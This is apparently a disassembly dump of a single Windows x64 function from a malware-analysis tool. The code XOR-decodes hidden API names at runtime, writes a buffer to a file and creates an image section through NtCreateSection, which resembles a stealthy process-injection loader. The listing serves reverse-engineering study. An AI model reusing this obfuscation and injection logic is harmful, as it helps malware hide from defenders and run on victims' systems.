Function at 0x2b3694190
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x188
mov r10d, 0x23
movdqa xmm0, xmmword [0x2b37598d0]
movabs rax, 0x3f1928392c283f0e
mov r9d, 0x23
mov qword [rsp + 0x1d8], rdx
mov r13, rcx
movabs rdx, 0x2224392e2c3e232c
lea r14, [rsp + 0x164]
mov dword [rsp + 0x160], 0x4d
mov qword [rsp + 0x164], rax
mov qword [rsp + 0x16c], rdx
mov word [rsp + 0x174], r10w
movzx eax, byte [rsp + 0x164]
mov edx, dword [rsp + 0x160]
mov dword [rsp + 0x1e0], r8d
mov word [rsp + 0x110], r9w
xor eax, edx
movaps xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16b], al
movzx eax, byte [rsp + 0x16c]
mov edx, dword [rsp + 0x160]
mov byte [rsp + 0x82], 0
xor eax, edx
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x16d]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16d], al
movzx eax, byte [rsp + 0x16e]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16e], al
movzx eax, byte [rsp + 0x16f]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16f], al
movzx eax, byte [rsp + 0x170]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x171]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x172], al
movzx eax, byte [rsp + 0x173]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0x174]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x174], al
mov byte [rsp + 0x175], 0
mov dword [rsp + 0x140], 0x16
mov ebx, dword [rsp + 0x140]
mov r9d, dword [rsp + 0x140]
mov r10d, dword [rsp + 0x140]
mov r11d, dword [rsp + 0x140]
mov esi, dword [rsp + 0x140]
mov edi, dword [rsp + 0x140]
add r10d, 2
mov r8d, dword [rsp + 0x140]
add r9d, 1
add esi, 4
add r11d, 3
movzx r10d, r10b
movzx r9d, r9b
mov eax, dword [rsp + 0x140]
add r8d, 6
add edi, 5
movzx r11d, r11b
movzx r8d, r8b
mov ecx, dword [rsp + 0x140]
mov edx, dword [rsp + 0x140]
movq xmm0, qword [0x2b37598e0]
add eax, 7
movzx eax, al
shl rax, 8
or rax, r8
movzx r8d, dil
shl rax, 8
or rax, r8
movzx r8d, sil
shl rax, 8
or rax, r8
movzx r8d, bl
shl rax, 8
or rax, r11
shl rax, 8
xor ebx, ebx
or rax, r10
shl rax, 8
or rax, r9
shl rax, 8
or rax, r8
movq xmm1, rax
lea eax, [rcx + 8]
lea rcx, [rsp + 0x144]
xor eax, 0x6c
pxor xmm1, xmm0
mov bl, al
lea eax, [rdx + 9]
movq qword [rsp + 0x144], xmm1
xor eax, 0x6c
movq qword [rsp + 0x78], xmm1
mov bh, al
mov word [rsp + 0x14c], bx
mov byte [rsp + 0x14e], 0
movzx eax, byte [rsp + 0x144]
mov edx, dword [rsp + 0x140]
mov word [rsp + 0x80], bx
xor eax, edx
mov byte [rsp + 0x144], al
movzx edx, byte [rsp + 0x145]
mov eax, dword [rsp + 0x140]
add eax, 1
xor eax, edx
mov byte [rsp + 0x145], al
movzx edx, byte [rsp + 0x146]
mov eax, dword [rsp + 0x140]
add eax, 2
xor eax, edx
mov byte [rsp + 0x146], al
movzx edx, byte [rsp + 0x147]
mov eax, dword [rsp + 0x140]
add eax, 3
xor eax, edx
mov byte [rsp + 0x147], al
movzx edx, byte [rsp + 0x148]
mov eax, dword [rsp + 0x140]
add eax, 4
xor eax, edx
mov byte [rsp + 0x148], al
movzx edx, byte [rsp + 0x149]
mov eax, dword [rsp + 0x140]
add eax, 5
xor eax, edx
mov byte [rsp + 0x149], al
movzx edx, byte [rsp + 0x14a]
mov eax, dword [rsp + 0x140]
add eax, 6
xor eax, edx
mov byte [rsp + 0x14a], al
movzx edx, byte [rsp + 0x14b]
mov eax, dword [rsp + 0x140]
add eax, 7
xor eax, edx
mov byte [rsp + 0x14b], al
movzx edx, byte [rsp + 0x14c]
mov eax, dword [rsp + 0x140]
add eax, 8
xor eax, edx
mov byte [rsp + 0x14c], al
movzx edx, byte [rsp + 0x14d]
mov eax, dword [rsp + 0x140]
add eax, 9
xor eax, edx
mov rdx, r14
mov byte [rsp + 0x14d], al
mov byte [rsp + 0x14e], 0
call fcn.2b3657510
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x2b3694d90
movabs rax, 0x6d42617065617647
mov ecx, 0x53
movabs rdx, 0x65776a6576506168
mov r8d, 0x53
movdqa xmm0, xmmword [str.GvaepaBmhaPvejwekernel32WriteFil_.9_.xyPy]
mov word [rsp + 0x154], cx
mov dword [rsp + 0x160], 4
mov dword [rsp + 0x150], 0x60617067
mov qword [rsp + 0x164], rax
xor eax, eax
mov qword [rsp + 0x16c], rdx
mov dword [rsp + 0x174], 0x60617067
mov word [rsp + 0x178], r8w
movaps xmmword [rsp + 0x140], xmm0
nop dword [rax + rax]
movzx edx, byte [rsp + rax + 0x164]
mov ecx, dword [rsp + 0x160]
xor edx, ecx
mov byte [rsp + rax + 0x164], dl
add rax, 1
cmp rax, 0x15
jne 0x2b3694698
mov byte [rsp + 0x179], 0
movq xmm0, qword [0x2b3759900]
mov dword [rsp + 0x120], 0x1c
mov r15d, dword [rsp + 0x120]
mov r10d, dword [rsp + 0x120]
mov r11d, dword [rsp + 0x120]
mov byte [rsp + 0xcc], 0
mov ebx, dword [rsp + 0x120]
mov esi, dword [rsp + 0x120]
movzx r15d, r15b
mov edi, dword [rsp + 0x120]
add r11d, 2
add r10d, 1
mov ebp, dword [rsp + 0x120]
add esi, 4
add ebx, 3
movzx r11d, r11b
movzx r10d, r10b
mov eax, dword [rsp + 0x120]
add ebp, 6
add edi, 5
movzx ebx, bl
movzx ebp, bpl
movzx edi, dil
movzx esi, sil
mov r9d, dword [rsp + 0x120]
add eax, 7
mov r8d, dword [rsp + 0x120]
mov edx, dword [rsp + 0x120]
movzx eax, al
add r9d, 8
mov ecx, dword [rsp + 0x120]
shl rax, 8
xor r9d, 0x2e
add edx, 0xa
or rax, rbp
xor edx, 0x6c
add ecx, 0xb
shl rax, 8
movzx edx, dl
xor ecx, 0x6c
shl edx, 0x10
or rax, rdi
shl ecx, 0x18
shl rax, 8
or rax, rsi
lea rsi, [rsp + 0x124]
shl rax, 8
or rax, rbx
lea ebx, [r8 + 9]
shl rax, 8
xor ebx, 0x64
or rax, r11
shl rax, 8
or rax, r10
shl rax, 8
or rax, r15
lea r15, [rsp + 0x160]
movq xmm2, rax
xor eax, eax
mov al, r9b
pxor xmm2, xmm0
movq qword [rsp + 0x124], xmm2
mov ah, bl
lea rbx, [rsp + 0x120]
movq qword [rsp + 0xc0], xmm2
movzx eax, ax
or eax, edx
or eax, ecx
mov rcx, rsi
mov dword [rsp + 0x12c], eax
mov dword [rsp + 0xc8], eax
mov byte [rsp + 0x130], 0
movzx eax, byte [rsp + 0x124]
mov edx, dword [rsp + 0x120]
xor eax, edx
mov byte [rsp + 0x124], al
movzx edx, byte [rsp + 0x125]
mov eax, dword [rsp + 0x120]
add eax, 1
xor eax, edx
mov byte [rsp + 0x125], al
movzx edx, byte [rsp + 0x126]
mov eax, dword [rsp + 0x120]
add eax, 2
xor eax, edx
mov byte [rsp + 0x126], al
movzx edx, byte [rsp + 0x127]
mov eax, dword [rsp + 0x120]
add eax, 3
xor eax, edx
mov byte [rsp + 0x127], al
movzx edx, byte [rsp + 0x128]
mov eax, dword [rsp + 0x120]
add eax, 4
xor eax, edx
mov byte [rsp + 0x128], al
movzx edx, byte [rsp + 0x129]
mov eax, dword [rsp + 0x120]
add eax, 5
xor eax, edx
mov byte [rsp + 0x129], al
movzx edx, byte [rsp + 0x12a]
mov eax, dword [rsp + 0x120]
add eax, 6
xor eax, edx
mov byte [rsp + 0x12a], al
movzx edx, byte [rsp + 0x12b]
mov eax, dword [rsp + 0x120]
add eax, 7
xor eax, edx
mov byte [rsp + 0x12b], al
movzx edx, byte [rsp + 0x12c]
mov eax, dword [rsp + 0x120]
add eax, 8
xor eax, edx
mov byte [rsp + 0x12c], al
movzx edx, byte [rsp + 0x12d]
mov eax, dword [rsp + 0x120]
add eax, 9
xor eax, edx
mov byte [rsp + 0x12d], al
movzx edx, byte [rsp + 0x12e]
mov eax, dword [rsp + 0x120]
add eax, 0xa
xor eax, edx
mov byte [rsp + 0x12e], al
movzx edx, byte [rsp + 0x12f]
mov eax, dword [rsp + 0x120]
add eax, 0xb
xor eax, edx
mov rdx, r14
mov byte [rsp + 0x12f], al
mov byte [rsp + 0x130], 0
call fcn.2b3657510
mov rcx, r13
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov edx, 0xc0000000
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 2
call rax
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x2b3694d90
movq xmm0, qword [0x2b3759908]
mov byte [rsp + 0x71], 0
mov dword [rsp + 0x120], 0x15
mov edi, dword [rsp + 0x120]
mov r11d, dword [rsp + 0x120]
mov edx, dword [rsp + 0x120]
mov dword [rsp + 0x5c], 0
mov ecx, dword [rsp + 0x120]
mov r8d, dword [rsp + 0x120]
movzx edi, dil
mov r9d, dword [rsp + 0x120]
add edx, 2
add r11d, 1
mov r10d, dword [rsp + 0x120]
add r8d, 4
add ecx, 3
movzx edx, dl
movzx r11d, r11b
add r10d, 6
add r9d, 5
movzx r8d, r8b
movzx ecx, cl
mov eax, dword [rsp + 0x120]
movzx r10d, r10b
movzx r9d, r9b
mov ebp, dword [rsp + 0x120]
add eax, 7
add ebp, 8
movzx eax, al
xor ebp, 0x65
shl rax, 8
mov byte [rsp + 0x70], bpl
or rax, r10
shl rax, 8
or rax, r9
shl rax, 8
or rax, r8
shl rax, 8
or rax, rcx
mov rcx, r14
shl rax, 8
or rax, rdx
shl rax, 8
or rax, r11
shl rax, 8
or rax, rdi
movq xmm3, rax
movzx eax, word [rsp + 0x70]
pxor xmm3, xmm0
movq qword [rsp + 0x124], xmm3
mov word [rsp + 0x12c], ax
movzx eax, byte [rsp + 0x124]
mov edx, dword [rsp + 0x120]
movq qword [rsp + 0x68], xmm3
xor eax, edx
mov byte [rsp + 0x124], al
movzx edx, byte [rsp + 0x125]
mov eax, dword [rsp + 0x120]
add eax, 1
xor eax, edx
mov byte [rsp + 0x125], al
movzx edx, byte [rsp + 0x126]
mov eax, dword [rsp + 0x120]
add eax, 2
xor eax, edx
mov byte [rsp + 0x126], al
movzx edx, byte [rsp + 0x127]
mov eax, dword [rsp + 0x120]
add eax, 3
xor eax, edx
mov byte [rsp + 0x127], al
movzx edx, byte [rsp + 0x128]
mov eax, dword [rsp + 0x120]
add eax, 4
xor eax, edx
mov byte [rsp + 0x128], al
movzx edx, byte [rsp + 0x129]
mov eax, dword [rsp + 0x120]
mov byte [rsp + 0xdc], 0
mov dword [rsp + 0xd8], 0x27272f65
add eax, 5
xor eax, edx
mov byte [rsp + 0x129], al
movzx edx, byte [rsp + 0x12a]
mov eax, dword [rsp + 0x120]
add eax, 6
xor eax, edx
mov byte [rsp + 0x12a], al
movzx edx, byte [rsp + 0x12b]
mov eax, dword [rsp + 0x120]
add eax, 7
xor eax, edx
mov byte [rsp + 0x12b], al
movzx edx, byte [rsp + 0x12c]
mov eax, dword [rsp + 0x120]
add eax, 8
xor eax, edx
mov byte [rsp + 0x12c], al
mov rax, qword [0x2b3759910]
mov byte [rsp + 0x12d], 0
mov qword [rsp + 0xd0], rax
movabs rax, 0x7978272e25392e20
mov dword [rsp + 0x160], 0x4b
mov qword [rsp + 0x164], rax
mov dword [rsp + 0x16c], 0x27272f65
mov byte [rsp + 0x170], 0
movzx eax, byte [rsp + 0x164]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16b], al
movzx eax, byte [rsp + 0x16c]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x16d]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16d], al
movzx eax, byte [rsp + 0x16e]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov byte [rsp + 0x16e], al
movzx eax, byte [rsp + 0x16f]
mov edx, dword [rsp + 0x160]
xor eax, edx
mov rdx, rsi
mov byte [rsp + 0x16f], al
mov byte [rsp + 0x170], 0
call fcn.2b3657510
mov r8d, dword [rsp + 0x1e0]
lea r9, [rsp + 0x5c]
mov rcx, r13
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x1d8]
call rax
test eax, eax
je 0x2b3694d90
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], r13
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], 0
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x2b3694dab
nop
mov rax, 0xffffffffffffffff
add rsp, 0x188
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movabs rax, 0x7b6e5572807c7950
mov rdx, rbx
mov rdi, qword [0x2b3759918]
mov rsi, qword [0x2b3759920]
mov qword [rsp + 0x120], rax
mov rcx, r15
mov dword [rsp + 0x128], 0x727971
movzx eax, byte [rsp + 0x120]
mov qword [rsp + 0x98], rdi
sub eax, 0xd
mov dword [rsp + 0xa0], 0x727971
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
mov qword [rsp + 0xe0], rsi
sub eax, 0xd
mov byte [rsp + 0xec], 0
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
mov dword [rsp + 0xe8], 0x77776f39
sub eax, 0xd
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
sub eax, 0xd
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
sub eax, 0xd
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
sub eax, 0xd
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
sub eax, 0xd
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
sub eax, 0xd
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
sub eax, 0xd
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x129]
sub eax, 0xd
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x12a]
sub eax, 0xd
mov byte [rsp + 0x12a], al
movabs rax, 0x3d3e7770797d7076
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x168], 0x77776f39
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
sub eax, 0xb
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
sub eax, 0xb
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
sub eax, 0xb
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
sub eax, 0xb
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
sub eax, 0xb
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
sub eax, 0xb
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
sub eax, 0xb
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
sub eax, 0xb
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
sub eax, 0xb
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
sub eax, 0xb
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
sub eax, 0xb
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
sub eax, 0xb
mov byte [rsp + 0x16b], al
call fcn.2b3657510
mov rcx, r13
call rax
movdqa xmm0, xmmword [str.c__SPRZeCP_BPRETv___7m]
movabs rax, 0x5a5250535d5d5e63
movabs rdx, 0x455250425f504365
mov dword [rsp + 0x160], 0x31
mov dword [rsp + 0x130], 0x5f5e58
mov qword [rsp + 0x164], rax
xor eax, eax
mov qword [rsp + 0x16c], rdx
mov dword [rsp + 0x174], 0x5f5e58
movaps xmmword [rsp + 0x120], xmm0
nop
movzx edx, byte [rsp + rax + 0x164]
mov ecx, dword [rsp + 0x160]
xor edx, ecx
mov byte [rsp + rax + 0x164], dl
add rax, 1
cmp rax, 0x13
jne 0x2b3695030
mov rax, qword [0x2b3759940]
mov edx, 0x7575
mov byte [rsp + 0x177], 0
lea rcx, [rsp + 0xf0]
mov byte [rsp + 0x92], 0
mov qword [rsp + 0x88], rax
mov eax, 0x7575
mov word [rsp + 0x90], ax
movabs rax, 0x6d373b3c60767d54
mov qword [rsp + 0xf0], rax
mov word [rsp + 0xf8], dx
mov rdx, r14
mov byte [rsp + 0xfa], 0
movzx eax, byte [rsp + 0xf0]
sub eax, 9
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0xf1]
sub eax, 9
mov byte [rsp + 0xf1], al
movzx eax, byte [rsp + 0xf2]
sub eax, 9
mov byte [rsp + 0xf2], al
movzx eax, byte [rsp + 0xf3]
sub eax, 9
mov byte [rsp + 0xf3], al
movzx eax, byte [rsp + 0xf4]
sub eax, 9
mov byte [rsp + 0xf4], al
movzx eax, byte [rsp + 0xf5]
sub eax, 9
mov byte [rsp + 0xf5], al
movzx eax, byte [rsp + 0xf6]
sub eax, 9
mov byte [rsp + 0xf6], al
movzx eax, byte [rsp + 0xf7]
sub eax, 9
mov byte [rsp + 0xf7], al
movzx eax, byte [rsp + 0xf8]
sub eax, 9
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0xf9]
sub eax, 9
mov byte [rsp + 0xf9], al
call fcn.2b3657510
mov rcx, r12
call rax
test eax, eax
je 0x2b3694d90
mov qword [rsp + 0xb4], rdi
lea rdx, [rsp + 0xb4]
mov rcx, r15
mov dword [rsp + 0xbc], 0x727971
movzx eax, byte [rsp + 0xb4]
mov qword [rsp + 0xa8], rdi
sub eax, 0xd
mov dword [rsp + 0xb0], 0x727971
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xb5]
mov qword [rsp + 0xf0], rsi
sub eax, 0xd
mov byte [rsp + 0xfc], 0
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb6]
mov dword [rsp + 0xf8], 0x77776f39
sub eax, 0xd
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb7]
sub eax, 0xd
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb8]
sub eax, 0xd
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb9]
sub eax, 0xd
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xba]
sub eax, 0xd
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xbb]
sub eax, 0xd
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbc]
sub eax, 0xd
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xbd]
sub eax, 0xd
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbe]
sub eax, 0xd
mov byte [rsp + 0xbe], al
mov qword [rsp + 0x160], rsi
mov dword [rsp + 0x168], 0x77776f39
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
sub eax, 0xb
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
sub eax, 0xb
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
sub eax, 0xb
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
sub eax, 0xb
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
sub eax, 0xb
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
sub eax, 0xb
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
sub eax, 0xb
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
sub eax, 0xb
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
sub eax, 0xb
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
sub eax, 0xb
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
sub eax, 0xb
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
sub eax, 0xb
mov byte [rsp + 0x16b], al
call fcn.2b3657510
mov rcx, r12
call rax
mov rax, qword [rsp + 0x60]
jmp 0x2b3694d97